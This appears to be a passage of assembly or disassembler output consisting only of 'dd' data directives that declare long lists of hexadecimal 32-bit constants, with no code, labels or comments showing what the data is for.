		dd 1086E389h, 124E296Bh, 0CFD5A808h, 0E615EE81h, 0B0C37FCh
		dd 3EFF35B0h, 0C151A9D0h, 140CA008h, 556460B2h,	0ABA869CAh
		dd 8FF5297h, 5AA42A33h,	0FBFF6806h, 4EB3FAA4h, 3182C8D5h
		dd 20CB5C49h, 0D4CE2A1Ch, 9299BC0Fh, 0E4307456h, 94B7692Fh
		dd 0B0EA356Ch, 0FC8D4943h, 0C67BB529h, 3200A12h, 3D4ABDCBh
		dd 85AD2252h, 18550162h, 0B2B968BAh, 6988B90Ch,	0CD4011CCh
		dd 29D74088h, 84499796h, 7135397h, 7273101Bh, 0F740C16Eh
		dd 0B02D825h, 0E9522C12h, 2AF5CB6h, 486935B9h, 6188F182h
		dd 0C0495679h, 9B2ABCCBh, 89B01C9h, 60415B5Dh, 3B9D400Ah
		dd 62502F5Eh, 9352A2C2h, 9882375Ah, 41F04001h, 1E059049h
		dd 8F0C4D21h, 7889CE31h, 0DEF7B5A2h, 517B4570h,	0ADAF7D60h
		dd 12326853h, 0F50DE749h, 0E96720ECh, 8AC3A94Eh, 0D3748F4Bh
		dd 7C5806D2h, 0AF31C3C8h, 0BABF262Dh, 0D0E448B4h, 60642776h
		dd 0FE98B8C3h, 0BA2EE81h, 0BB44BCCAh, 683224FFh, 0E90C6D2Eh
		dd 765D06C0h, 87809536h, 548EC7F3h, 0D8E9B309h,	0EB6CA0FAh
		dd 48483265h, 0DC0C2D2Dh, 0FB78743Eh, 68081CD0h, 0EA20141Ch
		dd 0ACBDB5D2h, 0E9580802h, 82F9D212h, 5D112CBDh, 5AEB942h
		dd 4B890C21h, 9209808Eh, 792910BAh, 5B8D2060h, 0FC0E41C8h
		dd 70638042h, 78173ECEh, 73012EA5h, 485693A8h, 48B9B23Ch
		dd 3A050116h, 0DBE96244h, 0B1ED53B4h, 215909E4h, 65ADE5F9h
		dd 75E98633h, 0CD043B1Fh, 4E3A5A5Bh, 4178FFA8h,	686C304Bh
		dd 692865F2h, 76598C72h, 46AD244Ch, 70F63216h, 0C31B1225h
		dd 6E6B1BC1h, 91326E3Dh, 1C58FA9Ch, 0AC037726h,	0DCB23F79h
		dd 0D7405E0Ch, 644C1171h, 1C6510E2h, 4E2C10Ah, 8AFC1DA3h
		dd 27F48A94h, 0CC11172h, 151322B4h, 0D166E400h,	3150795Ch
		dd 3A536C57h, 0AC284893h, 59CA04AAh, 7481D588h,	44DE66E8h
		dd 0B1E0C465h, 0A0E8C2A9h, 625009E2h, 0BDC23126h, 740EAD1Ah
		dd 0B748EB39h, 4F58EB68h, 8350CBB1h, 0FA0B2E52h, 8CC08141h
		dd 87E47B74h, 0DFF732FDh, 0B0C2D509h, 6B4FE0F1h, 0CF22581Bh
		dd 0F294C4A2h, 0B05053B0h, 0CCE01D4Bh, 31F6414Ch, 0DF7A4022h
		dd 5A2C4626h, 1F014D48h, 0DB351E10h, 0EB60E1D9h, 0A9A0B795h
		dd 6640D5F2h, 925F1D7Bh, 0D5ACE713h, 532D3F48h,	5C92B6EDh
		dd 0D8119BBDh, 11728447h, 51535800h, 0F66361B5h, 2DB27EEh
		dd 5A98EB79h, 968015BBh, 0D375481Fh, 5D4E317Ch,	0DCE171C5h
		dd 82111EA5h, 7B4E3F8Ch, 55039AC2h, 333F1B00h, 1AC04678h
		dd 0BC832EB5h, 3D866AE9h, 135B279Fh, 0D153A96Bh, 767AA5F1h
		dd 9C335E01h, 0D02AE963h
		dd 58E22800h, 0B72510B8h, 0C0DB42CAh, 73CF8013h, 19F73CA4h
		dd 0B7DDF3Ch, 66FA085Fh, 6783F2E4h, 0E91FF2F8h,	0FD126A5Ah
		dd 35162E5Eh, 7CB5DC81h, 76F9571h, 95685F34h, 0F9788D6Eh
		dd 27AC3C34h, 4B3A4659h, 53482166h, 80E94DACh, 0B15152B2h
		dd 9067B275h, 0B2E97389h, 735A4C4h, 0D51C26CFh,	0D2A16F6Ch
		dd 0FC375806h, 0F7B801EFh, 4F23840Eh, 5FFAE4A5h, 4342AEF3h
		dd 0B0C8E916h, 0F1ED5409h, 99372A0Ch, 61E818F3h, 685C351Eh
		dd 2F22270Fh, 0CB9E68ABh, 5D2A13F8h, 0F9C60172h, 3C780862h
		dd 28B40B8Bh, 907D50FDh, 635C08AFh, 88000D61h, 146D938h
		dd 81CD0D6h, 25141C68h,	0D2249CE5h, 3016C6CBh, 0B990E4BEh
		dd 302C499Ah, 8401C66Dh, 894C64F0h, 4CB69238h, 8775140Ch
		dd 5F87631h, 0E908BE1Ch, 6D8DE156h, 3B190031h, 0F5210B46h
		dd 58C1485Eh, 25C4524h,	0AFA7096Dh, 0E9378155h,	356E6860h
		dd 9DC694EBh, 6B0DA84Bh, 4E9579Eh, 23980CBBh, 33514150h
		dd 0EC907D95h, 60BB0DE0h, 9A523400h, 0BC4C290Fh, 0E6564949h
		dd 0C62CE961h, 46704F7Fh, 0AE231DA4h, 3311F0Bh,	0B5D901A7h
		dd 0A9B456ECh, 90E985D7h, 0CC5AD5FCh, 58C1566Ch, 4AAF424Dh
		dd 6771A60h, 9359D4Fh, 12908BCBh, 74A07DB2h, 0E150C0D4h
		dd 374A85B8h, 0EFC568D0h, 11D311Bh, 59E2C76Ah, 7CC073C5h
		dd 55BA6D1Dh, 0F25EC049h, 0E1F7393Dh, 8E0688Eh,	0B4F5C7F2h
		dd 9AB98150h, 0DBF007AAh, 607F4602h, 0F747B75Eh, 834BE975h
		dd 0A222D412h, 21ACE505h, 0AC019244h, 6AC418ADh, 120ACA99h
		dd 0E2559E05h, 90BE80FBh, 257D6357h, 9BA7E8E9h,	0B01E74F4h
		dd 0DA4AF752h, 0A03F8AD2h, 0CB1B08Bh, 4B06F2B4h, 101C262Bh
		dd 0F0D1F365h, 0DEA50797h, 125C6CF0h, 0D31C6F21h, 0A9EC8B9Fh
		dd 0E1CCDE99h, 489443BEh, 0D6DCF10Ah, 0C1D41FE3h, 96A725Eh
		dd 0D9D33E4Eh, 0C849B8C6h, 19B9017h, 4A416292h,	0FF5EF789h
		dd 0F9437398h, 25FE375Ch, 71349A5Fh, 0B39A6B4Ch, 29413EBCh
		dd 0B9AD2C6Ah, 109B55BAh, 0CAD12D13h, 0F60E801h, 23E9D2F7h
		dd 1A4A5DF1h, 46554B0Dh, 105BC64h, 19880A92h, 442DD801h
		dd 0C9E4C207h, 0AA235405h, 0B69DD685h, 0EC7009C1h, 9BD41D6h
		dd 6B0920h, 0D74FC530h,	0E3810013h, 7E111998h, 0AF4E5FE9h
		dd 48E1D8C9h, 0B54F92h,	2454F690h, 801C5901h, 0C5C3E0E5h
		dd 0CAEE8897h, 25C5E12Ch, 0C05FB398h, 80805DD7h, 535C0EEBh
		dd 0F812A8B3h, 67541367h, 8FE16489h, 0D23B1225h, 0B27DC551h
		dd 0D16D4160h, 0E94BF0F7h, 22285AB6h, 0C0F959BEh, 6385FA4Dh
		dd 8083D8F7h, 0AA97051Fh, 94D7F06h, 24FC58C3h, 2CE6276h
		dd 2AEFE943h, 0F843B5F6h, 5C934CEDh, 0C957065Fh, 5217223Eh
		dd 7916DBB6h, 0B1B8A440h, 7B022518h, 40242553h,	76B5E8E8h
		dd 0A744A93Dh, 0B8C884ECh, 29F24FFFh, 6C082486h, 3AD9D24Ah
		dd 94CFBCDh, 83AEA8E5h,	45025DC5h, 0F974677Bh, 0C8FABE29h
		dd 6D1FA257h, 57550322h, 3D25F6E9h, 1D5602CCh, 775A4BF0h
		dd 7D94AE00h, 0E09D84EFh, 5DEB8984h, 3272BCE9h,	72FA3459h
		dd 96BDAB58h, 4EDDFE14h, 5BCE22CBh, 0EE58AD54h,	52D3C4C9h
		dd 0CFA5C1B2h, 0C7959631h, 0EA2AABB2h, 0F6612EEh, 70B3D1B3h
		dd 4E657E62h, 7081C60Ch, 0A2033AADh, 422D1ECCh,	0F1520A39h
		dd 989FBA7Ah, 0F2C9A7E2h, 0FAFC0362h, 5AD731B1h, 962DE7F1h
		dd 716D835h, 0D089E20Bh, 4B0958F6h, 0D14950h, 81568A33h
		dd 7E4C2CEFh, 0E75CC1E2h, 0E2F70286h, 0E985666Bh, 0A9473177h
		dd 658DF5C0h, 4E047CA6h, 4E69CAEFh, 0AC9387CAh,	0C3818C12h
		dd 88521250h, 750DECDEh, 1658E53Ch, 0B539286Fh,	5666D76Ah
		dd 11954161h, 4F0E3CF1h, 0DD94FE3h, 3FEF595Ch, 84631D10h
		dd 72B442E9h, 965D3FEh,	4A743277h, 5AA86D63h, 4C42CF8Ch
		dd 57BDB458h, 7A905CB2h, 6A4B6368h, 842B5699h, 0EBC90464h
		dd 0A427F802h, 0CB12CFCAh, 107689A6h, 691D68DCh, 58AE08B1h
		dd 0AD4412h, 5B69E3D6h,	4841478Dh, 327AF1C9h, 0E16450B5h
		dd 6E5ADA90h, 6DF27890h, 4A9D2E5Bh, 321415C4h, 94135A78h
		dd 5E86233Ah, 0F6DBEA20h, 0F40C59CEh, 0A7664180h, 0AF4DE965h
		dd 24CA4E37h, 0A6575913h, 20DC69BCh, 0CE805B45h, 0B2534F78h
		dd 0EDF8938Fh, 0EF005CA3h, 81B708B6h, 35AF728h,	0E992CF80h
		dd 553BED52h, 0B318AA59h, 58C8885Fh, 20D841E4h,	60F066B5h
		dd 7D29B1A9h, 0C19D7DE9h, 7F427F5Ch, 0E2869B55h, 96404AB8h
		dd 9F50502Bh, 10C495D9h, 0DAB95127h, 0EA811CB7h, 5F1E4216h
		dd 8442CA29h, 2DAE080Ch, 9C41D55Eh, 71B814A4h, 51570C80h
		dd 0EE01496Bh, 88DCAFDh, 0BE14080Ch, 4A5A6809h,	985B0B5Dh
		dd 5A8DE9C9h, 0DE5D89C5h, 3A16E876h, 6F61FAC5h,	2520D2F7h
		dd 6FD79140h, 0BD20156Bh, 2C0D4858h, 78414F06h,	44324292h
		dd 970DC102h, 807BC258h, 0D5E28B2Ah, 0E4B9C40Fh, 542B41Ch
		dd 0CBBE88C8h, 0B28610EBh, 0D69E051Dh, 0C2AC06C1h, 4C09B858h
		dd 178A617h, 963F35CBh,	0C4C1842Fh, 5A080336h, 4A7D8F66h
		dd 0BF29A540h, 0D8EAE5B3h, 0B7095378h, 0C0EFD059h, 77D6F7B2h
		dd 340776C0h, 801208E7h, 0D319E99Eh, 1BC9ABC0h,	0A075AB35h
		dd 0EE2C8F8Bh, 0C829056Eh, 0E84D8CE9h, 4DE1E588h, 91109662h
		dd 47971451h, 7E187E9Ch, 79D601FBh, 13F32653h, 7043029Ah
		dd 2DD5FD8h, 0C4ACE962h, 0B3F22E83h, 0AEBE1FEEh, 0ECEC1241h
		dd 47345E3Eh, 435040EFh, 8987CCBEh, 41CBD34Ah, 0C1C54Ah
		dd 0DF5D8C3Eh, 4126E906h, 626F67C9h, 59361368h,	14F70BEEh
		dd 55131167h, 2DE34C04h, 5B3B6AB4h, 0A40082C8h,	561EF4F1h
		dd 0BC40F052h, 942DE829h, 15F92A17h, 5BA5FED5h,	30279DC3h
		dd 0E688146Fh, 860283EBh, 250FA3C3h, 5560E177h,	0E028BB04h
		dd 912B930h, 61D4A3F4h,	6BD344Eh, 1F0F5023h, 1882170Ch
		dd 70D1057Dh, 3739F444h, 32020626h, 0C835DF0Bh,	7E0446EDh
		dd 0C521036Dh, 0BD555658h, 189320D8h, 3E5C116h,	6890EB01h
		dd 0AB700D96h, 0F09204B0h, 0E9EE8936h, 14C680B5h, 7E6B5248h
		dd 0E9511229h, 0F82485A6h, 1BDBC603h, 62EB0695h, 0C64FA4Ah
		dd 7D205A0Bh, 2E8E852Fh, 1D0CB758h, 4C7C9A64h, 31274D51h
		dd 4B5FD63h, 1C2927D6h,	8C95CDEh, 0B7131C5Bh, 99684A81h
		dd 0F5D4247Ah, 2DE7029Dh, 5E27C0FEh, 4E749001h,	0F540535h
		dd 0AF0095C8h, 78D4083Dh, 64AE9ABAh, 1BB53ACAh,	0CBB83CFCh
		dd 0BFFA92C0h, 44B77512h, 0E25BC8E8h, 7871C93Bh, 8ABF0407h
		dd 0B05B0615h, 0C35129E2h, 560B018Fh, 0A7F04C68h, 0E83C16Ah
		dd 65B0D444h, 68119E58h, 0E09B0CC6h, 0C44FE2Ch,	12A269D0h
		dd 0C331D010h, 55B15103h, 0B266C1FEh, 253258F6h, 38384EBBh
		dd 68F7E568h, 0ED10CA4Dh, 0F0562C89h, 0C5FC4958h, 6942B901h
		dd 0F20140EEh, 294108D1h, 12402DD8h, 0F356853h,	5B5F2B43h
		dd 0A522A281h, 95B24417h, 4FD8BAFh, 7BE06852h, 0CAB4EDF8h
		dd 27984A8Ch, 160BB0EAh, 0AC0178AAh, 31084148h,	0ED355AEh
		dd 0FD33CB35h, 3950105Ah, 92EE1F5Eh, 7FADE1CAh,	20687C2Ch
		dd 49B049DAh, 0C8161A91h, 0FAD87373h, 0FC97EA69h, 7A355186h
		dd 40941388h, 29DAD29h,	0ADC289Ah, 69401672h, 0D6D12C71h
		dd 7EB93309h, 5053586Fh, 6EFA6806h, 4CE85DFDh, 0A3D3A5FCh
		dd 20184C02h, 0EF81032Ch, 7A8D4102h, 6050C04h, 0FB0011C7h
		dd 0E91FEB18h, 70A7746Bh
		dd 6E0804A4h, 0E55F272Eh, 486CF10Eh, 174FE90Ch,	165E8B09h
		dd 0BF572518h, 5B38077Ch, 0F37C83B1h, 8707E60Eh, 53A813B2h
		dd 986AA67Ah, 1282B8ECh, 4123655Bh, 0EBC14BCDh,	0B71E2A06h
		dd 4C29A840h, 4A61E967h, 83DEDC20h, 5352EB76h, 0E95B04FAh
		dd 69FC1DDCh, 3E520FF1h, 84D214DCh, 95A10920h, 12C1EB9h
		dd 4063D9C3h, 80C2DA41h, 6F89E5CEh, 8A5D4920h, 0E9A1765Ch
		dd 97133A51h, 20AD6AFCh, 99F80D1h, 5042F6F0h, 39C04DDFh
		dd 9EFABBF5h, 0C005051Eh, 945D1B1Dh, 0E9070285h, 0B05E42AAh
		dd 106F7263h, 4F368649h, 7448DCF6h, 1678EE04h, 63A4F850h
		dd 3BCD182Ch, 0FE26458Eh, 9299259h, 0D9805909h,	6BA5208h
		dd 72C56E04h, 0FEC0D109h, 4055CE1h, 0C0E928A0h,	89259150h
		dd 0C02722CDh, 58BFB951h, 2D060279h, 649978E8h,	720F0D4h
		dd 0E3B4E97Fh, 40D6D24h, 0EAF34927h, 6E127557h,	0C440F47Ch
		dd 954D5B7Dh, 0F781A9E0h, 0BB150468h, 0E929CF0Fh, 820C722Ah
		dd 20215A08h, 0B23B1747h, 0E7069343h, 80343E57h, 964079E0h
		dd 624025FAh, 0FBEC868h, 9762D382h, 1E4F47Fh, 0B42421C3h
		dd 0F2920601h, 7FEF12B5h, 7D4DFC25h, 0E4E3C65Bh, 0C245986Bh
		dd 7AD9E4A5h, 4982968Fh, 9FA52660h, 0C4B55B82h,	11371487h
		dd 7551A7FCh, 0D95BD107h, 1EE96287h, 5316B65Eh,	0A2E506ECh
		dd 0F5CBDA72h, 0D179048Bh, 98AF4E66h, 0ECA487Fh, 90ADECB4h
		dd 4A68AC68h, 1D4F605h,	4F6A1EF7h, 4A34C4E9h, 65F3A254h
		dd 5747824Ah, 4C60263Eh, 0C300307Eh, 315A2D69h,	1253DE2h
		dd 6D925F74h, 45D0CB05h, 580F82ECh, 5922F350h, 70F504DFh
		dd 8165ED56h, 0D86B4A6Dh, 24F5E915h, 0DF03B6BBh, 3002E6C0h
		dd 0F1F793FEh, 896A2F85h, 5202203Dh, 500C50BBh,	90AD5EF5h
		dd 58D30F5Fh, 3F895654h, 0A9A913C3h, 0C1187C9Eh, 44A155D2h
		dd 5D82320h, 10F1D04h, 0E9B5C3F1h, 50FA20DFh, 6F983584h
		dd 0BD59CF40h, 243BBF4Dh, 0C5AF83B6h, 2AE89019h, 0BF05BFCBh
		dd 7AAA6E2Eh, 0DF9244EAh, 0D6680246h, 8A147534h, 1869DCBAh
		dd 40E60629h, 6AA380D3h, 0D2632499h, 0BB532DCDh, 88C1BB12h
		dd 52C9AD66h, 96F50D1h,	79C27EF9h, 0C7CF7054h, 1BD9C289h
		dd 9034EEB5h, 4D0B97D4h, 2975DEEh, 0E744922Bh, 48C73F6Fh
		dd 8BE6253Eh, 202A0BCAh, 300DB6D2h, 5A6602F0h, 0C0FE5E2Ch
		dd 0F125C651h, 5DEE8A1Ch, 0F6942FDAh, 0E92FF8A6h, 68A107CFh
		dd 0A6916EA4h, 8000A1D3h, 0C1F0E2E3h, 5F22365Eh, 0D98AC358h
		dd 0D02BB598h, 13B8F2D7h, 9BC2B59Ch, 0C3BA00BEh, 425F8907h
		dd 49680DA0h, 0B958D5EAh, 5B9D7210h, 753AC45h, 21AE25EFh
		dd 5A23F5Bh, 1D0786E0h,	81F5C68Dh, 0A73259EDh, 3A507F50h
		dd 875B0C08h, 5B90E52Ch, 0B75AE408h, 0EB314841h, 0F8F3802Bh
		dd 318C324h, 310BFCBDh,	0A0C8A5DDh, 0BC29BDA6h,	3720C4F0h
		dd 36050FE5h, 2964743Eh, 7AE6C7D8h, 0E7E0ADF2h,	688128DBh
		dd 7031217Eh, 0C9857CF1h, 5672D65Dh, 9ED1E924h,	0D25AACA4h
		dd 2A6F2C23h, 77D7C2D7h, 0D2564122h, 0C3B92D28h, 4195E54Ch
		dd 1736330Dh, 4CC4EA10h, 0ED200CDh, 0D0014503h,	0CC2D005Ah
		dd 294A8856h, 0E92D55F0h, 0D7B042B2h, 8A54B23Ah, 68613A2Eh
		dd 496C64F6h, 0D65EACD3h, 4D825564h, 51596AE4h,	52688484h
		dd 125AB322h, 27ADC53Ch, 6280DF3Ch, 17613552h, 12013F8h
		dd 9D987FC3h, 52896BE6h, 640131CBh, 30B52998h, 9D3085D9h
		dd 2485159Ah, 2005E1D1h, 94F8C4Ah, 13C3B932h, 0D8A98EF2h
		dd 652C5E83h, 9266D881h, 31816742h, 932FDBF7h, 3E1602D5h
		dd 7D09B025h, 0FA277031h, 27630267h, 59CB29B5h,	2D2701DCh
		dd 557ADD15h, 0E25E2348h, 4A72A2D3h, 0C7807DCFh, 397E7105h
		dd 225F7B2Dh, 23F9A10h,	6FF11CBBh, 9BA6E6Ch, 3AE65082h
		dd 0A2B94D7Ch, 42710C02h, 0C08C139Bh, 44281000h, 8DE9D301h
		dd 40F5B624h, 1135BD55h, 2A67313Fh, 293BA6DEh, 0B1B392D9h
		dd 0CA683ACh, 4C9344B5h, 0E2C46759h, 0D2ED13ADh, 7D94A993h
		dd 0C1E87751h, 31970549h, 0A5D04582h, 1BB829E6h, 6C06470Bh
		dd 0A63C6902h, 16BE6801h, 53000873h, 0D3F686B3h, 0CC13F380h
		dd 34A096E9h, 7F680B35h, 100B0FFEh, 0AA549364h,	199059F8h
		dd 3CCB83D7h, 0E34D5D17h, 2E131025h, 42F72D02h,	88F70A48h
		dd 0E904070Ch, 71BA2FC0h, 0CEE3C11Ch, 3B7FE80h,	0CC12942h
		dd 60350886h, 275AAD43h, 0AD14D0CFh, 1C472118h,	833913B6h
		dd 0C032F3F9h, 4AC13B1Ah, 17BC22D5h, 997FD120h,	0F56C282Ch
		dd 201EF55h, 0D744F62Bh, 0F7D5052Ah, 568B8DDh, 39C54820h
		dd 595C72C0h, 806E4AB1h, 110A40EDh, 4F18CAF8h, 0E2B8EA7Bh
		dd 906F1FC2h, 0BF843C61h, 0A86E7A02h, 0E9C75F56h, 0CC418549h
		dd 2ECFF21h, 0B21F8E7Dh, 0AB278922h, 0C5190DCh,	0E908B239h
		dd 0F025254Bh, 31681352h, 8D523565h, 9E02DE30h,	5AB50006h
		dd 801CCDFEh, 0EF0779EDh, 0CF705966h, 0B983E9FBh, 0CDC300E6h
		dd 21F3B917h, 0E7EB20F5h, 3C075002h, 49D4E90Ch,	602E54B2h
		dd 1BE80523h, 0D3114924h, 831E5726h, 84474B09h,	1EC50417h
		dd 0B176B80h, 0B1578DFh, 1E0CE9D1h, 5259B5DCh, 0FC3520F9h
		dd 0B811E2Fh, 0B8183B2Dh, 0E0D2D366h, 0D990082h, 3A08FD7Ah
		dd 754FE58Eh, 30E70281h, 93832223h, 6F13C193h, 0F5405E2h
		dd 5ECA3F12h, 46E8BA75h, 793F680Bh, 561E14D3h, 3B092BC0h
		dd 78515E7Ah, 40DE0955h, 7A3273E3h, 22602ED7h, 0DF28C874h
		dd 0AA73D12Eh, 61CB09h,	0A82ABAB5h, 77E3BD20h, 0B22B004h
		dd 0FD864C48h, 0DCB2C74h, 0FBA53568h, 180B021Eh, 5AD931E5h
		dd 8C681AE9h, 3B05016h,	0C8FED86Bh, 0AB040405h,	805932E9h
		dd 1F225BCDh, 91CDDA16h, 7C27E348h, 6EE3E7FCh, 451D4D43h
		dd 2F40FF2Dh, 401E60BDh, 0C8971022h, 8043B6B1h,	4A6F6E98h
		dd 0F5CE269h, 0CEE9FAC1h, 843E6665h, 0C69EE916h, 9742FD33h
		dd 6EAD71E1h, 4AC2803h,	4A14F92Ah, 66E9312Ah, 0EBEF51A1h
		dd 98352007h, 33F14518h, 3E56460Ch, 0E07F09B9h,	3DCE2E42h
		dd 15339006h, 5FA91CE9h, 0B72158DCh, 69A4F145h,	0E4879026h
		dd 4F2CEEFFh, 0BB6425E9h, 4AF24F66h, 89B6144Ch,	5B38408Ah
		dd 2CE85730h, 2EC35D7Bh, 0F31D5BC4h, 0BB7F2ADAh, 89CB3A99h
		dd 0CBF9D3E3h, 0FBE97468h, 53AB9761h, 0D0C9C788h, 76FFAD1h
		dd 0C3C3E2BEh, 98538B7h, 13256CD6h, 5955DC51h, 676DC8B5h
		dd 12ED912Eh, 5BF5C1D6h, 818D7C55h, 4C4AADC5h, 0F9247EB4h
		dd 594310B6h, 0B42F2D3h, 985DEB01h, 83A4AB14h, 0E6BE7840h
		dd 2F983E14h, 7EDB4AA4h, 0E851E69h, 2AB7B141h, 206013E7h
		dd 0E9F7B252h, 70EE85Eh, 0A9EAC9ADh, 77FE3Bh, 10644484h
		dd 24165401h, 5BA45A08h, 70261A63h, 0C500E455h,	20B06642h
		dd 0E77DE919h, 0B42AEA73h, 0A5BF598Fh, 491931Eh, 0D084FB29h
		dd 815D7FC8h, 81360114h, 0A080EAC9h, 5C65F02Eh,	122BD021h
		dd 0B082FD2Ah, 0D5A048E9h, 73C4ABBDh, 424A07F7h, 0B9B3D72h
		dd 14B5F66h, 4BE9392Ch,	0B6FF1F8h, 2CE158B7h, 0DA89D62Dh
		dd 0ACFD7C5Bh, 64B63565h, 0B675FAA8h, 0B54F924Ah, 920081A4h
		dd 0C11F786Fh, 0C5F8FFE5h, 1065B545h, 8877925h,	0B9009697h
		dd 4D893641h, 0AD103BBFh, 0EF814E80h, 150F12F8h, 0D4EEA1h
		dd 0E8070B7h, 0F72813C7h, 5AA2EFAEh, 0CC55F830h, 8EBFA18h
		dd 323FE949h, 92D95025h
		dd 0D00113B3h, 5FC7BC05h, 100648Eh, 4CCC2DC8h, 309D66DBh
		dd 80BA3529h, 0BCEE5059h, 8A965ABAh, 0A852EDEDh, 53E7A4B9h
		dd 2BEA3290h, 25667E25h, 4C1CFD34h, 0A7932ABEh,	7E09C982h
		dd 18D3086Fh, 23E08912h, 2E7B09F2h, 0E7DE3B7Dh,	80BF1233h
		dd 34E964B0h, 879F0AAFh, 2E0EA49h, 6AC13F01h, 68A6EDD1h
		dd 0C02BEB07h, 4DF681F0h, 32270544h, 0BDFF11E9h, 3D2C1744h
		dd 1038FBDDh, 0AE16215Bh, 5EBA0295h, 54356192h,	0D101E46Ah
		dd 4F08ECD0h, 1F48A4B7h, 0F4D0B8D6h, 798C08E8h,	0E439806Bh
		dd 6C4B1BBh, 1290D7ECh,	885F0C50h, 0BCB5BAE7h, 6CA94997h
		dd 0EF376A80h, 9CB6362Ah, 0E883982Eh, 0CFD0F7FFh, 9BC3D834h
		dd 4F1DF01Eh, 0C2C84A31h, 0E4C076B0h, 62B70105h, 0D4080B2Bh
		dd 425B039Eh, 0D43014C5h, 0EE310D59h, 0C5FC59E9h, 95FD5437h
		dd 0BEBC90C9h, 0E726A79h, 87C68102h, 7D9F7CC4h,	306BCA81h
		dd 7D006E74h, 5152F501h, 19390568h, 0EA591A0Dh,	8D256E40h
		dd 0B88991C2h, 0A9A0358Dh, 5649E35Ah, 0E9E604Fh, 2747383Ah
		dd 5A727EE9h, 0DCC140A3h, 561093CAh, 94923EB7h,	0F8A1138Bh
		dd 3CA95535h, 24AEB4CBh, 508182CBh, 6995AE83h, 0AB88200h
		dd 0E96F4815h, 2F3D9407h, 429FD39Eh, 0F01A55AEh, 794D841h
		dd 0F6DBF7C2h, 43460248h, 0D1802FF9h, 89CEA5A7h, 313C89E3h
		dd 13F30D6h, 29889CF2h,	0ECC29242h, 8E99696h, 0DD1DE909h
		dd 123C8251h, 0D14F0EA2h, 0E685E9D5h, 0C026FE0Dh, 2B092D97h
		dd 8F43133h, 0F427404Eh, 0E8005817h, 98A6B353h,	2E7735Ch
		dd 0D82899C3h, 1BE889E9h, 660705ADh, 1619062h, 6CCD68D1h
		dd 460BBE66h, 327E040Dh, 0CE000244h, 454EE2A0h,	0A70814CFh
		dd 0C1DE06EDh, 66AA2888h, 7090D6F6h, 85B0E755h,	7BC5144Ah
		dd 0AB372EBh, 0DCF3EDF2h, 0FBC8C612h, 0D6990804h, 0CEAC9925h
		dd 117E33B0h, 2B4ABE7Bh, 91DAB740h, 2C7878Ch, 5B152447h
		dd 0A1615645h, 1FD16F86h, 40A5937Fh, 0E1485005h, 8F8B3EA0h
		dd 66D4914Bh, 4FBA7793h, 8F829ED4h, 0F5810037h,	0A927CE05h
		dd 3D4ED8D3h, 9F5DA29h,	77514F12h, 7806D1FEh, 0B1855FAh
		dd 25E10A03h, 4FB714FAh, 185C1258h, 31134426h, 151BDC48h
		dd 8B5E931Ah, 0E54AAF29h, 7CFD0651h, 0BA7356CBh, 0E3351900h
		dd 0D0F10166h, 5E2F0828h, 0DA029129h, 19D62DB2h, 4F606861h
		dd 5431AE73h, 2A537014h, 0F63778Dh, 63447716h, 90D15B70h
		dd 37223D5h, 7D27C868h,	9B8EB2Ah, 38885C39h, 7DA44159h
		dd 0F65A1010h, 1C3484Dh, 717C52BCh, 0FB60E7D1h,	0F8A51274h
		dd 12BBECE2h, 1B2737E9h, 7A3D6DE0h, 962FB42Fh, 88A0B073h
		dd 316F419Dh, 7C8BD66Bh, 8E6CCC05h, 6B845E53h, 0C15F0701h
		dd 803105E6h, 2FE57DD4h, 74010907h, 0F92F75C6h,	4249E77h
		dd 69F4CE41h, 1E9E6D2Ah, 90858910h, 7CA063D8h, 5B81D821h
		dd 9608D824h, 4BF32F14h, 0B06EEE27h, 0E078FFE0h, 95D6AD96h
		dd 2F5A5804h, 874F82A1h, 0B4E882D5h, 0D3290327h, 6D24DFAh
		dd 54C409A1h, 5A42BBC4h, 12525FFAh, 0F3F6E457h,	0D710C072h
		dd 3C3E4891h, 0F427166Ah, 0DF557FD0h, 84E54D80h, 1D72117h
		dd 6399CF92h, 0D802EDDh, 7C4153E6h, 0B3C70028h,	0E922FAF4h
		dd 36BC2D64h, 0DC26CD62h, 90EC8166h, 4489D7A0h,	0C8B259B8h
		dd 64C70408h, 8514BD72h, 0E9A13118h, 0B87A30A8h, 736812A0h
		dd 70ABA329h, 0C1D303DEh, 0E9CD5002h, 6875482Bh, 1759548Eh
		dd 0F4064BB1h, 4EE408A8h, 12B1DB4Dh, 490FD831h,	3B8547EFh
		dd 731CC0E7h, 7805435Eh, 0BF2D8F26h, 854B7ECBh,	0B232F0E9h
		dd 0DBDC506Eh, 1ED90C00h, 844E67BAh, 0F2014E5Ah, 86A9D711h
		dd 683CEA01h, 39012BABh, 5FE9396Ah, 28F8181h, 0BA90F9DCh
		dd 99C93F80h, 29BC7097h, 0C1042A72h, 8802A439h,	144258E6h
		dd 0BF7651ABh, 2BC8F95Bh, 924CE366h, 21052DD6h,	935AF6A2h
		dd 1AA41C32h, 0E6AECE01h, 0E0CD97EEh, 0DCDA1689h, 0C0786229h
		dd 0A25C0D3h, 3C1653F3h, 51E5911Fh, 7E18B249h, 0C3FEC001h
		dd 88610A89h, 309F8665h, 5F4CE989h, 17CC0110h, 25685880h
		dd 0C15E55FCh, 87BBEA6Fh, 312576BEh, 4DB99496h,	0E35B8C5Ch
		dd 0CC681E4Ch, 0B7639C2Fh, 0BAFE0482h, 760989FAh, 541F1E7Ah
		dd 54B041E4h, 5CE0D682h, 0F4B83057h, 34F6E916h,	97010528h
		dd 0B3259744h, 0A126D9DDh, 23E94154h, 5726A4CEh, 5219803Fh
		dd 88A6B551h, 505901EAh, 33E9F7B0h, 0FB8B543Bh,	49A0DC13h
		dd 0AB019524h, 0A85B052Ch, 0DB492838h, 0EABD02C6h, 60484920h
		dd 17E3020h, 0BB352B85h, 70380106h, 130BA3F7h, 820955EDh
		dd 1D6F8A6h, 0C8CF8853h, 17C877Ch, 9A006C5Ah, 0EBC05A66h
		dd 1389B808h, 495C2CA8h, 0C723D1B3h, 8FBAC209h,	5162207Fh
		dd 4652A68h, 0D1596AC6h, 108DC0E1h, 0BB75929Fh,	7E26B15Dh
		dd 0F89EBBCh, 4F8890A3h, 3088808Fh, 0F233585Bh,	56ABFA5Ah
		dd 40108F5h, 0F64F0C0Bh, 4A99624Ah, 54E83102h, 3A6850ACh
		dd 3CE3774Fh, 4C030B10h, 95529ED9h, 9F5A7EF0h, 16F5B3E2h
		dd 27772043h, 0BBEE8100h, 988EC2Fh, 4AE3FAF2h, 81E18C38h
		dd 0E90C0143h, 0F08B39B9h, 0DAA2695Fh, 0D95C01C9h, 3380B013h
		dd 16F26856h, 0A592DEh,	7FB2C1A2h, 0ABA01C37h, 0A62E0BE5h
